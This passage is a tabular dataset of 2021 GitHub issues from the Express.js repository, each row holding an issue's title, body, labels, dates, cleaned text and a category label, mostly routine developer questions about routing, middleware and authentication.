            console.log(received_bytes, total_bytes); <== The data ... [TRUNCATED]",question,2021-10-21 16:41:34+00:00,2021-11-17 03:03:43+00:00,3,question,26.432,question how to send the express server console log to the front end hi i m pretty new to js and node so it might be a dumb question ive look everywhere and i can t figure how to get a response from the server the goal is to be able to do a progress bar so i need to return the bytes download total bytes for now i m able to have the information but only on the server i can t figure how to send it to the front end heres what i did so far server js app get async req res const response fetch then response response json then data json data then let zip for i i json assets length i if json assets i name zip json assets i let received bytes let total bytes var req request method get uri zip browser download url var out fs createwritestream req pipe out req on response data total bytes parseint data headers content length req on data chunk received bytes chunk length console log received bytes total bytes the data truncated,help,0.7184
expressjs/express,1031008198,How to protect all routes,"Stack:
Front End - Angular 12
  |-- Leveraging Angular/MSAL to integrate with Azure AD for authentication

Back End
  |-- Node JS  V14.17.6
  |-- Express 4.17.1
  |-- Passport-Azure-AD V4.3.0 (passport-azure-ad is a collection of Passport Strategies to help you integrate with Azure Active
  |-- Authentication Strategy - BearerStrategy (Protects APIs and Resources)
 Directory)
       |-- Passport V0.3.2 (Passport version leveraged by Passport-Azure-AD)

Back End Project Structure (Excerpt shown for brevity)
  Root Directory
   |-- src 
     |-- routers(Sub directory that holds all modularized routes per entity in individual .js files e.g. users.js, actions.js)
     |--index.js(Application entry point)

I'm looking for a way to protect all my routes/api endpoints, rather than having to apply the passport.authenticate to each route handler within each of the route endpoints which could be ""N"" number of routes per modularized route .js files as expressed above. I have tried the following below to no avail.

1. Within the index.js file, i.e. the applications entry point, in which I use e.g. const users = require('./routers/users') and app.use('/api/v1/users', users) to mount my route handlers, I introduced the following app.use(passport.authenticate('oauth-bearer', { session: false })) since passport is a middleware but no joy

2. Within the modularized route handling files, I tried the following as well: router.all('*',passport.authenticate('oauth-bearer', {... [TRUNCATED]",question,2021-10-20 06:00:34+00:00,2021-11-17 17:49:27+00:00,3,question,28.4923,how to protect all routes stack front end angular leveraging angular msal to integrate with azure ad for authentication back end node js v express passport azure ad v passport azure ad is a collection of passport strategies to help you integrate with azure active authentication strategy bearerstrategy protects apis and resources directory passport v passport version leveraged by passport azure ad back end project structure excerpt shown for brevity root directory src routers sub directory that holds all modularized routes per entity in individual js files e g users js actions js index js application entry point i m looking for a way to protect all my routes api endpoints rather than having to apply the passport authenticate to each route handler within each of the route endpoints which could be n number of routes per modularized route js files as expressed above i have tried the following below to no avail within the index js file i e the applications entry point in which i use e g const users require routers users and app use api v users users to mount my route handlers i introduced the following app use passport authenticate oauth bearer session false since passport is a middleware but no joy within the modularized route handling files i tried the following as well router all passport authenticate oauth bearer truncated,help,0.8898
expressjs/express,1028198836,User: @agus7fauzi unblock,"hi I'm @agus7fauzi, I'm sorry for being impatient waiting for an answer to an issue on the express github repository. I do it because I have to make decisions quickly in my projects. I want to contribute to express js, please open my block. can you give me a chance?, you are a leader.",,2021-10-17 02:44:58+00:00,2021-10-17 02:54:10+00:00,1,nan,0.0064,user agus fauzi unblock hi i m agus fauzi i m sorry for being impatient waiting for an answer to an issue on the express github repository i do it because i have to make decisions quickly in my projects i want to contribute to express js please open my block can you give me a chance you are a leader,others,-0.2023
expressjs/express,1028187749,Express future?,"what's wrong with the express framework, why is it rarely updated, has express been neglected?
why Express version 5 is still an alpha version even though 5 years have passed, wouldn't that make no sense for an alpha version?","duplicate,question",2021-10-17 01:23:10+00:00,2021-10-17 01:26:46+00:00,2,"duplicate,question",0.0025,express future what s wrong with the express framework why is it rarely updated has express been neglected why express version is still an alpha version even though years have passed wouldn t that make no sense for an alpha version,help,-0.8271
expressjs/express,1028146161,Express future?,"what's wrong with the express framework, why is it rarely updated, has express been neglected?",question,2021-10-16 20:54:29+00:00,2021-10-16 20:57:50+00:00,13,question,0.0023,express future what s wrong with the express framework why is it rarely updated has express been neglected,help,-0.7579
expressjs/express,1023981137,Authenticate before receiving multipart form data,"I have a route that accepts a file via multipart form data and saves it to the file system using multer. I am using passport to authenticate the user's jwt token. The route looks something like this:

router.post(['/'],
    passport.authenticate('keycloak', { session: false }),
    multer.single('file')
);

The problem is that the files I am uploading are very large. It can take 10+ minutes for the app to receive the data. By the time passport authenticates the token, it is always expired since it compares it to the current time, not the time the request was started. If the token is invalid for any reason, the user won't know until 10 minutes later. I would like the user to get immediate feedback instead of waiting for the request body to be received. I tried using passport as an app level middleware, but it still waited until it had req.body before executing.

Is there a way to execute middleware before receiving the request body?",awaiting more info,2021-10-12 15:52:53+00:00,2021-11-17 17:52:14+00:00,2,awaiting more info,36.0829,authenticate before receiving multipart form data i have a route that accepts a file via multipart form data and saves it to the file system using multer i am using passport to authenticate the user s jwt token the route looks something like this router post passport authenticate keycloak session false multer single file the problem is that the files i am uploading are very large it can take minutes for the app to receive the data by the time passport authenticates the token it is always expired since it compares it to the current time not the time the request was started if the token is invalid for any reason the user won t know until minutes later i would like the user to get immediate feedback instead of waiting for the request body to be received i tried using passport as an app level middleware but it still waited until it had req body before executing is there a way to execute middleware before receiving the request body,others,0.5647
expressjs/express,1023913717,Feature: Set response status code according to HTTP method,"Hi there...
I'm here to suggest an idea about response status code.

### #idea
The idea is to automatically set the response status code of the request according to the HTTP method and standard HTTP response code (if the developer have not explicitly set the status code). e.g.
`
app.put(""/endpoint"", (req, res) => {
    res.send();
})    // This should return status code 204
`
Here is another example
`
app.put(""/endpoint"", (req, res) => {
    res.send(payload);
})    // This should return status code 200
`

### #edge
It will reduce the thought process of the developer of proper HTTP status code.",,2021-10-12 14:47:40+00:00,2021-10-12 14:52:30+00:00,2,nan,0.0034,feature set response status code according to http method hi there i m here to suggest an idea about response status code idea the idea is to automatically set the response status code of the request according to the http method and standard http response code if the developer have not explicitly set the status code e g app put endpoint req res res send this should return status code here is another example app put endpoint req res res send payload this should return status code edge it will reduce the thought process of the developer of proper http status code,feature,0.0
expressjs/express,1022673999,How to debug a duplicate route problem?,"We use a loopback v3 application which is built over express. We put console.log() calls in our route and tested our api calls to see if they output. 

Our observation was that it did not output in the server console. However, the web app, still properly responded to the request. (Status code 200).

So my guess is that the same route is somehow added earlier somewhere else. Question is how can I find that location? Is there a debugging advice that would help here? Some place I can put a breakpoint which simplifies how that route is hit?",question,2021-10-11 12:58:17+00:00,2021-10-16 06:14:38+00:00,2,question,4.7197,how to debug a duplicate route problem we use a loopback v application which is built over express we put console log calls in our route and tested our api calls to see if they output our observation was that it did not output in the server console however the web app still properly responded to the request status code so my guess is that the same route is somehow added earlier somewhere else question is how can i find that location is there a debugging advice that would help here some place i can put a breakpoint which simplifies how that route is hit,bug,0.0
expressjs/express,1022144266,Request triager role for import-brain,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2021-10-11 00:50:11+00:00,2021-11-17 17:45:42+00:00,4,nan,37.7052,request triager role for import brain i have read and understood the project s code of conduct i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organizations jshttp pillarjs express,feature,0.6369
expressjs/express,1022056853,Is there any way to successfully rewrite a route in express middleware,"I am trying to create a middleware to rewrite some paths in express middleware before forwarding the request to nest.js, but it seems baseUrl gets reset after every `next()`, causing the nest.js router to ignore the route.

Is there any way to successfully rewrite a route in middleware or to forward a new request object to other middlewares?",awaiting more info,2021-10-10 18:25:36+00:00,2021-10-10 18:29:56+00:00,3,awaiting more info,0.003,is there any way to successfully rewrite a route in express middleware i am trying to create a middleware to rewrite some paths in express middleware before forwarding the request to nest js but it seems baseurl gets reset after every causing the nest js router to ignore the route is there any way to successfully rewrite a route in middleware or to forward a new request object to other middlewares,others,0.5719
expressjs/express,1020720970,Router level async middleware not working,"First of all please do not close my Issue immediately when I create it..

My code link is [https://github.com/Crazycoder122/async-middleware-express/blob/master/frontend/index.js](https://github.com/Crazycoder122/async-middleware-express/blob/master/frontend/index.js)


Now in 
`res.get('/',auth,(req,res,next)  =>  {
      // Logic which runs if the user is authenticated
})`

Now the auth function is async function...
What to do now??

Thank You...",duplicate,2021-10-08 05:47:23+00:00,2021-10-08 05:51:57+00:00,1,duplicate,0.0032,router level async middleware not working first of all please do not close my issue immediately when i create it my code link is now in res get auth req res next logic which runs if the user is authenticated now the auth function is async function what to do now thank you,others,0.7096
expressjs/express,1020717817,Router Level Async Middleware,"[Code Link](https://github.com/Crazycoder122/async-middleware-express/blob/master/frontend/index.js)


It is my code.. But the Middleware is async.. So I am having problem with dealing it in the routes....",duplicate,2021-10-08 05:40:49+00:00,2021-10-08 05:42:13+00:00,1,duplicate,0.001,router level async middleware code link it is my code but the middleware is async so i am having problem with dealing it in the routes,others,-0.6054
expressjs/express,1020714305,Use Router-Level Async Middleware,"```js
const express = require('express');
const bodyParser = require('body-parser');
const path = require('path');
const axios = require('axios').default;

// Routes
const userRoutes = require('./routes/user');


// Creating the Constants
const PORT = process.config.PORT || 443;

// Creating the app
const app = express();

// Dotenv Config
require('dotenv').config();

// Middleware for static files
app.use(express.static(path.join(__dirname+'/assets')));


app.use('/user',userRoutes)


const authenticate = async (req,res,next) =>{
    const isAuthenticate = await axios.post(""http:127.0.0.1:121/authenticate_user"",{})

    // return false;
    // else
    res.send(""Not logged In!!"")
};


app.get('/',authenticate,async (req,res)=>{
    res.redirect('/user');
});


// Listening the app
app.listen(PORT,()=>{
    console.log(`App Running at http://127.0.0.1:${PORT}`);
})
```


It is my code.. But the Middleware is async.. So I am having problem with dealing it in the routes....",question,2021-10-08 05:32:58+00:00,2021-10-08 05:38:47+00:00,2,question,0.004,use router level async middleware it is my code but the middleware is async so i am having problem with dealing it in the routes,help,-0.6054
expressjs/express,1014153030,Unable to find a way to properly remove or override a route after it has already been created,"Basically I can't find a way properly remove a route after it has already been created. or redefine it to add a middleware if needed.

This is really causing a slight setback for a project I'm working on right now that needs to be able to create, remove or alter a route on demand.","question,module:router",2021-10-02 19:46:56+00:00,2021-10-02 20:07:36+00:00,3,"question,module:router",0.0144,unable to find a way to properly remove or override a route after it has already been created basically i can t find a way properly remove a route after it has already been created or redefine it to add a middleware if needed this is really causing a slight setback for a project i m working on right now that needs to be able to create remove or alter a route on demand,help,0.5574
expressjs/express,1012283318,Bug: Router uses previously added routers middleware,"In the following zip you can find a simple node app. 

[testServer.zip](https://github.com/expressjs/express/files/7260431/testServer.zip)

Run the following to install and run it:

npm install
node server.js

In postman run 3 post requests with raw json body {""id"": ""hello""}

1) http://localhost:3000/route1/test // fails as expected since it does not have json parser middleware
2) http://localhost:3000/route2/test // works as expected since router has json parser middleware
3) http://localhost:3000/route3/test // **works, but should not work! Router does not have json parser middleware**

",question,2021-09-30 14:55:38+00:00,2021-10-01 06:51:15+00:00,3,question,0.6636,router uses previously added routers middleware in the following zip you can find a simple node app testserver zip run the following to install and run it npm install node server js in postman run post requests with raw json body id hello fails as expected since it does not have json parser middleware works as expected since router has json parser middleware works but should not work router does not have json parser middleware,bug,-0.2263
expressjs/express,1012003823,[TypeScript] How to enforce a response type?,"Is there a way to enforce a strictly typed response from a middleware function?

I currently type the response via:
```typescript
interface MyResponse { foo: string }

type MyMiddleware = express.RequestHandler<{}, MyResponse>
```
The following 2 examples compile but I'd like them to throw an error:
```typescript
const example1: MyMiddleware = (req, res, next) => {} // should throw an error because no response is sent
const example2: MyMiddleware = (req, res, next) => { res.json(undefined) } // should throw an error because undefined !== MyResponse
```
Is there a way to handle this more strictly?",question,2021-09-30 10:29:01+00:00,2021-12-22 18:12:40+00:00,2,question,83.322,typescript how to enforce a response type is there a way to enforce a strictly typed response from a middleware function i currently type the response via the following examples compile but i d like them to throw an error is there a way to handle this more strictly,help,-0.1901
expressjs/express,1011285020,Endpoints returning 404,"Hello!

I have this strange issue where when I send a request to an endpoint with no params or no extra /, everything returns ok. But when I request to an endpoint that needs parameters, express returns 404.
Is good to know that this is mounted on Kubernetes with an ingress, if I request through the service without the ingress, everything goes ok, but through the Ingress returns 404. ⚠️ Ingress is properly configurated under my opinion, because it sends all requests of `/` through this only microservice, and no rewrite rules are set.

Example code:
(index.js)
```
import express, { Request, Response } from ""express"";
import router from ""./endpoints"";

const app = express();
const port = 3000;

app.all(""/health"", (_req: Request, res: Response) => res.json({ health: ""ok"" }));
app.use(router);

app.listen(port, () => logger.info(`${packageJson.name} listening on port ${port}!`));
```

(endpoints.js)
```
import express from ""express"";
import controllers from ""../controllers"";
const router = express.Router();

// products
router.get(""/products"", controllers.getAllProducts);
router.get(""/products/:productId"", controllers.getProduct);
router.get(""/search"", controllers.searchProduct);

export default router;
```

### Requests

GET `/products` - 200 ok
GET `/products/<some id>` - 404 Not found (Express error)
GET `/search` - 404 Not found (Express error)

### Sample response
```
<!DOCTYPE html>
<html lang=""en"">

<head>
	<meta charset=""utf-8... [TRUNCATED]",,2021-09-29 18:03:25+00:00,2021-10-02 20:29:05+00:00,0,nan,3.1012,endpoints returning hello i have this strange issue where when i send a request to an endpoint with no params or no extra everything returns ok but when i request to an endpoint that needs parameters express returns is good to know that this is mounted on kubernetes with an ingress if i request through the service without the ingress everything goes ok but through the ingress returns ingress is properly configurated under my opinion because it sends all requests of through this only microservice and no rewrite rules are set example code index js endpoints js requests get ok get not found express error get not found express error sample response meta charset utf truncated,others,0.8999
expressjs/express,1000907067,How to define endpoints for prisma in electron app,"Hi, I made an app in nuxt.js + electron.js + electron-builder . then added prisma to nuxt and used express in serverMiddleware to handle my endpoints started api/ and send them to prisma CRUD . It works just fine in dev mode, but when building .exe file , there is no serverMiddleware to handle those endpoints.

So as I searched through articles , I found out you can added express to electron as you can add prisma in background.js , but didn't found any solution to integrate them so that my requests that starts with api go through prisma functions. e.g. $axios.get('api/users) get me all users :

import express from 'express'
import { PrismaClient } from '@prisma/client'
const prisma = new PrismaClient()
const app = express()
app.use(express.json())
app.get('api/users', async (req, res) => {
   const result = await prisma.admin.findAll()
   res.json(result)
})",question,2021-09-20 12:21:46+00:00,2021-10-22 15:17:42+00:00,1,question,32.1222,how to define endpoints for prisma in electron app hi i made an app in nuxt js electron js electron builder then added prisma to nuxt and used express in servermiddleware to handle my endpoints started api and send them to prisma crud it works just fine in dev mode but when building exe file there is no servermiddleware to handle those endpoints so as i searched through articles i found out you can added express to electron as you can add prisma in background js but didn t found any solution to integrate them so that my requests that starts with api go through prisma functions e g axios get api users get me all users import express from express import prismaclient from prisma client const prisma new prismaclient const app express app use express json app get api users async req res const result await prisma admin findall res json result,help,0.2846
expressjs/express,1000874048,Request triager role for MohammadXroid,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2021-09-20 11:47:07+00:00,2021-11-17 17:46:52+00:00,4,nan,58.2498,request triager role for mohammadxroid i have read and understood the project s code of conduct i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organizations jshttp pillarjs express,feature,0.6369
expressjs/express,1000630321,Body parser running endless on (read body) cause of invalid content-length,"Hello,

please could u advise why the read body in body parser running endless on invalid content-length instead of throwing and expected invalid content length error?

Thanks
Tb",question,2021-09-20 06:57:09+00:00,2021-09-20 07:00:44+00:00,4,question,0.0025,body parser running endless on read body cause of invalid content length hello please could u advise why the read body in body parser running endless on invalid content length instead of throwing and expected invalid content length error thanks tb,help,0.296
expressjs/express,1000603187,res.cookie() doesn't set browser cookie on Production,"res.cookie set browser cookie on localhost but doesn't set browser cookie after production and still I can find set-cookie in response header. I don't see any cors problem. I use Digitalocean App to deploy my node server.

`res.cookie('ckstate', 'logged', {
                httpOnly: false, 
                sameSite: router.get(""env"") === ""development"" ? true : ""none"", 
                secure: router.get(""env"") === ""development"" ? false : true
            })
            .status(200)
            .json(others)`

Here is the POST request from my React client -

`await axios.post(API_URL, user, { withCredentials: true })
        .then(res => {
            Auth.refreshAuth();
            history.push('/');
        })
        .catch(err => {
            console.log(err)
            setMessage('Wrong Credentials. Try again.');
        })`

![image](https://user-images.githubusercontent.com/89861726/133962243-a04fe7fd-5f64-4839-982e-46aeafec62fa.png)
",awaiting more info,2021-09-20 06:06:35+00:00,2021-11-17 17:56:02+00:00,2,awaiting more info,58.4927,res cookie doesn t set browser cookie on production res cookie set browser cookie on localhost but doesn t set browser cookie after production and still i can find set cookie in response header i don t see any cors problem i use digitalocean app to deploy my node server res cookie ckstate logged httponly false samesite router get env development true none secure router get env development false true status json others here is the post request from my react client await axios post api url user withcredentials true then res auth refreshauth history push catch err console log err setmessage wrong credentials try again image,others,0.3498
expressjs/express,1000393994,please support typescript out of the box,hey guys can you please support typescript out of box? I have many problems with self installed type script. it works then it doesn't works. Can you make every life easier if you can make it ready to once press npx create express app.,duplicate,2021-09-19 19:10:29+00:00,2021-09-19 19:12:19+00:00,1,duplicate,0.0013,please support typescript out of the box hey guys can you please support typescript out of box i have many problems with self installed type script it works then it doesn t works can you make every life easier if you can make it ready to once press npx create express app,help,0.9136
expressjs/express,998776790,ParamsDictionary should allow any value type,"Since request parameters can be mutated to non-string objects using something like [Sanitation Middlewares](https://express-validator.github.io/docs/filter-api.html), the `ParamsDictionary` interface should allow any type.

```
export interface RequestHandler<
    P = ParamsDictionary,
    ResBody = any,
    ReqBody = any,
    ReqQuery = ParsedQs,
    Locals extends Record<string, any> = Record<string, any>
>
```
Current:

```
export interface ParamsDictionary {
    [key: string]: string;
}
```

Proposed:

```
export interface ParamsDictionary {
    [key: string]: any;
}
```",,2021-09-16 23:56:14+00:00,2021-09-16 23:59:41+00:00,2,nan,0.0024,paramsdictionary should allow any value type since request parameters can be mutated to non string objects using something like sanitation middlewares the interface should allow any type current proposed,others,0.7717
expressjs/express,996976903,incorrect npm in package.json,"Hi everyone. Express used path-to-regexp, it is very old version (0.1.7) and its not major version. This npm incorrect generate regExp (function pathtoRegexp) if path has param and it is instanceof RegExp","4.x,question",2021-09-15 11:35:33+00:00,2021-09-15 15:19:25+00:00,1,"4.x,question",0.1555,incorrect npm in package json hi everyone express used path to regexp it is very old version and its not major version this npm incorrect generate regexp function pathtoregexp if path has param and it is instanceof regexp,help,0.0
expressjs/express,988529326,"Wrong path in req.url in req.on('close', ... )","Example code
```js
router.use((req, res, next) => {
    console.log(req.url);
    req.on('close', () => {
        console.log(req.url);
    });
    next();
});
```

What i getting:
```
/ping/
/
```

What i expect:
```
/ping/
/ping/
```

I using express in version 4.17.1
",awaiting more info,2021-09-05 15:00:05+00:00,2021-09-10 15:32:25+00:00,1,awaiting more info,5.0225,wrong path in req url in req on close example code what i getting what i expect i using express in version,others,-0.4767
expressjs/express,986570467,Node process exiting on certain combination of error handlers and async middlewares,"Our application was failing on Production with the node process exiting with error code 1. I was able to reproduce the error in a minimal example.

Even though the original issue was an application issue (sending an `undefined` http status in the response), it might also make sense to check why the process is exiting in this case.

#### Minimal example:
```js
const express = require(""express"");
const app = express();

app.use(
  ""/kill"",
  (req, res, next) => {
    console.log(""1. throw error"");
    throw new Error(""oops"");
  },
  (err, req, res, next) => {
    console.log(""2. try to handle error and send back undefined/invalid HTTP status"");
    res.status(err.status).send(""Error""); // err.status is undefined
  },
  (err, req, res, next) => {
    console.log(
      ""3. have an error handler not catching the 'ERR_HTTP_INVALID_STATUS_CODE', so default error handler will not be used""
    );
    next();
  }
);

app.use(async (req, res, next) => {
  console.log(""4. have an async middleware trying to send back a sth."");
  // do some async stuff here, read a file and transform it
  res.send(""[the file]"");
});

const server = app.listen(3000, () => {
  console.log(`Example app listening at http://localhost:3000`);
});

```

#### package.json
```json
{
  ""name"": ""xxxxx"",
  ""version"": ""1.0.0"",
  ""scripts"": {
    ""start"": ""node index.js"",
  },
  ""dependencies"": {
    ""express"": ""^4.17.1""
  }
}
```

#### Node Version

v15.14.0

##... [TRUNCATED]",question,2021-09-02 11:17:53+00:00,2021-09-02 14:00:38+00:00,3,question,0.113,node process exiting on certain combination of error handlers and async middlewares our application was failing on production with the node process exiting with error code i was able to reproduce the error in a minimal example even though the original issue was an application issue sending an http status in the response it might also make sense to check why the process is exiting in this case minimal example package json node version v truncated,bug,-0.836
expressjs/express,984269809,HTTP3/QUIC Support,"## 🚀 Feature Proposal
Implementation of QUIC [tools.ietf.org/html/draft-ietf-quic-transport-27](https://tools.ietf.org/html/draft-ietf-quic-transport-27)
 
For more details:
 
* [blog.cloudflare.com/the-road-to-quic](https://blog.cloudflare.com/the-road-to-quic/)
* [blog.cloudflare.com/http3-the-past-present-and-future](https://blog.cloudflare.com/http3-the-past-present-and-future/)

 This shall pave way for implementation of HTTP/3 since HTTP over QUIC is proposed to be called HTTP/3. QUIC will likely be used for transporting more than just HTTP.
---

Any likelihood of this being added in the next time?",,2021-08-31 20:10:31+00:00,2021-08-31 20:18:24+00:00,1,nan,0.0055,http quic support feature proposal implementation of quic tools ietf org html draft ietf quic transport for more details blog cloudflare com the road to quic blog cloudflare com http the past present and future this shall pave way for implementation of http since http over quic is proposed to be called http quic will likely be used for transporting more than just http any likelihood of this being added in the next time,help,0.4019
expressjs/express,982112714,express5 expected release time？,"Hi,
express is a very powerful framework, as a newcomer I like it very much. I really want to use the latest version of express, although it hasn't been updated for a long time, can you tell me your general plan? When is expected to release the amazing express5
The translation comes from Google Translate, thank you for your understanding~","duplicate,question",2021-08-29 14:23:29+00:00,2021-08-29 15:58:29+00:00,1,"duplicate,question",0.066,express expected release time hi express is a very powerful framework as a newcomer i like it very much i really want to use the latest version of express although it hasn t been updated for a long time can you tell me your general plan when is expected to release the amazing express the translation comes from google translate thank you for your understanding,help,0.9144
expressjs/express,981876616,Express.js many node-scheduler impacts,"I am doing express.js REST API for mobile application. I want to know my implementation is correct or need any improvements. In my application many business logic involved. So I had implemented More than 4 cron jobs using node-scheduler which runs at every 1 minute. I have to check business logic at every minute due to 4 scenarios then only i can achieve output. So My questions is 
1. Is it right implementation?
2. What are the best methodology instead of this?
3. Is it makes Express.js Rest API application slow? If yes how to avoid this?
Awaiting to see anyone support. Thanks in advance",,2021-08-28 16:35:57+00:00,2021-09-01 16:07:10+00:00,3,nan,3.98,express js many node scheduler impacts i am doing express js rest api for mobile application i want to know my implementation is correct or need any improvements in my application many business logic involved so i had implemented more than cron jobs using node scheduler which runs at every minute i have to check business logic at every minute due to scenarios then only i can achieve output so my questions is is it right implementation what are the best methodology instead of this is it makes express js rest api application slow if yes how to avoid this awaiting to see anyone support thanks in advance,others,0.872
expressjs/express,980964891,ReferenceError: app is not defined,Help,question,2021-08-27 07:35:07+00:00,2021-09-03 07:44:38+00:00,3,question,7.0066,referenceerror app is not defined help,bug,-0.3089
expressjs/express,979831669,Adding NestJS as express module results in Nest being restarted,"We are progressively migrating our app from the NestJS framework to Express and thought of including NestJS as a module of Express so the migration can be done in small batches. Things seem to be connected but the NestJS seems to be a restart for every request. This is not a bug but a general approach on how to coexist Express & NestJS would be appreciated.

Express + NestJS repo

https://gitlab.com/vijaysvj/express-with-nest/-/tree/master/

References:
https://stackoverflow.com/questions/60253136/import-a-nest-js-app-as-a-simple-express-middleware
https://stackoverflow.com/questions/64244716/migrating-express-application-to-nestjs
https://stackoverflow.com/questions/54349998/use-nestjs-package-in-nodejs-express-project
https://expressjs.com/en/api.html#app.mountpath
https://github.com/tzkmx/nestjs-graphql-as-express-subapp
https://newbedev.com/import-a-nest-js-app-as-a-simple-express-middleware",discuss,2021-08-26 04:51:25+00:00,2022-02-02 20:22:09+00:00,1,discuss,160.6463,adding nestjs as express module results in nest being restarted we are progressively migrating our app from the nestjs framework to express and thought of including nestjs as a module of express so the migration can be done in small batches things seem to be connected but the nestjs seems to be a restart for every request this is not a bug but a general approach on how to coexist express nestjs would be appreciated express nestjs repo references,others,0.8257
expressjs/express,979316834,express.json() not parsing ,"Hello 

I have encountered the following problem:

Client is sending data to server, but server does not seem able to parse the data from the DOM.

I was initially using ""body-parser"" but then i understood it is now integrated with ""express""

still i get this error message while launching the server : ""body-parser deprecated"". 

Is this a know issue or is it just me ? and is there a way to fix it ? 

Here my code : 

**index.js**
```js
import express from""express"" ;
//import bodyParser from ""body-parser"";
import mongoose  from ""mongoose"";
import cors from ""cors""; 

import postRoutes from './routes/posts.js';

const app = express();



app.use(express.json({limit: ""30mb""}));
app.use(express.urlencoded({limit: ""30mb""}));
app.use(cors);

app.use('/posts', postRoutes);
```
**routes**
```js
import express from 'express';

import { getPosts, createPosts} from '../controllers/posts.js';

const router = express.Router();

router.get('/', getPosts); 
router.post('/', createPosts);

export default router;
```
**Controllers** 
```js
import PostMessage from ""../models/postMessage.js"";

export const getPosts = async (req, res) => {
    try {
        const postMessages = await PostMessage.find();
        console.log( ""getrequest received"");

        res.status(200).json(postMessages);
    } catch (error) {
        res.status(404).json({message: error.message});
    }
}

export const createPosts = async (req, res) => {
    const ... [TRUNCATED]","question,module:body-parser",2021-08-25 15:31:44+00:00,2021-11-17 17:50:03+00:00,4,"question,module:body-parser",84.0961,express json not parsing hello i have encountered the following problem client is sending data to server but server does not seem able to parse the data from the dom i was initially using body parser but then i understood it is now integrated with express still i get this error message while launching the server body parser deprecated is this a know issue or is it just me and is there a way to fix it here my code index js routes controllers js import postmessage from models postmessage js export const getposts async req res try const postmessages await postmessage find console log getrequest received res status json postmessages catch error res status json message error message export const createposts async req res const truncated,help,-0.9224
expressjs/express,976416701,res.write() sending data only after res.end(),"Hello I am trying to do upload progress and for this I need to send some information on each file that I have successfully uploaded back to the client. For this I am using response.write() function right after a file was uploaded. Everything works fine on localhost but when I run the application in production environment the response is being sent to the client only after it is finished, there are no chunks sent at all just the whole response at the end i.e. when res.end() is called.
I am running the application with the following command `NODE_ENV=BUILD node server.js` as a linux daemon service. I believe that this is not exactly issue with express but I hope someone could propose some possible reasons for this.",question,2021-08-22 16:31:57+00:00,2021-08-23 13:22:33+00:00,3,question,0.8685,res write sending data only after res end hello i am trying to do upload progress and for this i need to send some information on each file that i have successfully uploaded back to the client for this i am using response write function right after a file was uploaded everything works fine on localhost but when i run the application in production environment the response is being sent to the client only after it is finished there are no chunks sent at all just the whole response at the end i e when res end is called i am running the application with the following command as a linux daemon service i believe that this is not exactly issue with express but i hope someone could propose some possible reasons for this,help,0.6652
expressjs/express,971823663,[Question] - How do I deploy an express.js Web server on the net.,"Hey, How can I use a custom domain somewhat like https://example.com I do not want it to be localhost:3000 also I dont want to use the port so yea is it possible and if yes How can i achieve it","duplicate,question",2021-08-16 14:54:53+00:00,2021-08-16 15:56:14+00:00,5,"duplicate,question",0.0426,question how do i deploy an express js web server on the net hey how can i use a custom domain somewhat like i do not want it to be localhost also i dont want to use the port so yea is it possible and if yes how can i achieve it,help,0.5366
expressjs/express,971244973,Regex as path not functioning as expected,"In my express app, I have the following code:
```js
app.all(/\/port\/(([1-9]\d{0,3}|[1-5]\d{4}|6[0-4]\d{3}|65[0-4]\d{2}|655[0-2]\d|6553[0-5]))\/.*/g,(req,res,next){
   // ...
})
```
Half the time, when going to /port/3001 it 404s, the other half of the time it works. It seems like the regex system used by Express is the cause as testing this using 
```js
/\/port\/(([1-9]\d{0,3}|[1-5]\d{4}|6[0-4]\d{3}|65[0-4]\d{2}|655[0-2]\d|6553[0-5]))\/.*/g.test('/port/3001')
``` 
returns true.",question,2021-08-15 23:09:39+00:00,2021-08-15 23:15:08+00:00,2,question,0.0038,regex as path not functioning as expected in my express app i have the following code half the time when going to port it s the other half of the time it works it seems like the regex system used by express is the cause as testing this using returns true,help,0.6486
expressjs/express,971146534,"[Typescript] Express 4.17.1 -> 4.17.13 break middlewares (body-parser, morgan and urlencode)","Handler<IncomingMessage, ServerResponse> type is not support and break some well popular middleware

and have type error on ""express-serve-static-core"". 
",,2021-08-15 14:25:10+00:00,2021-08-16 08:07:28+00:00,1,nan,0.7377,typescript express break middlewares body parser morgan and urlencode handler type is not support and break some well popular middleware and have type error on express serve static core,others,-0.092
expressjs/express,968324250,bug with the decode_param,"Hello I think I found a bug in the decode_param method.
In our paths our client can mix and match English and Greek characters in the parameters, but i found that if the first character is Greek then I get the following error: 

{ URIError: Failed to decode param 'CE%B5%CE%B1%CF%8229102021'
    at decodeURIComponent (<anonymous>)

I snooped around and I found the following thing.

The val in decode param loses the first digit every second Loop resulting to removing the % from the encoded parameter if the first letter is Greek making it CE%B5%CE%B1%CF%8229102021 instead of %CE%B5%CE%B1%CF%8229102021. This actually prompts the error and throws the URIerror.

If the first letter is English then the val stays with the % and can be decoded. Below are some console logs:

This is when the first letter is Greek
172 '%CE%B5%CE%B1%CF%8229102021'
173 'εας29102021'
172 'CE%B5%CE%B1%CF%8229102021'
172 '%CE%B5%CE%B1%CF%8229102021'
173 'εας29102021'
172 'CE%B5%CE%B1%CF%8229102021'
172 '%CE%B5%CE%B1%CF%8229102021'
173 'εας29102021'
172 'CE%B5%CE%B1%CF%8229102021'

This is when the first letter is English

172 'e%CE%B1%CF%8229102021'
173 'eας29102021'
172 '%CE%B1%CF%8229102021'
173 'ας29102021'
172 'e%CE%B1%CF%8229102021'
173 'eας29102021'
172 '%CE%B1%CF%8229102021'
173 'ας29102021'

Therefore, the error Failed to decode param is incorrect since it can actually decode the letter but for some reason the first digit every second loop is deleted

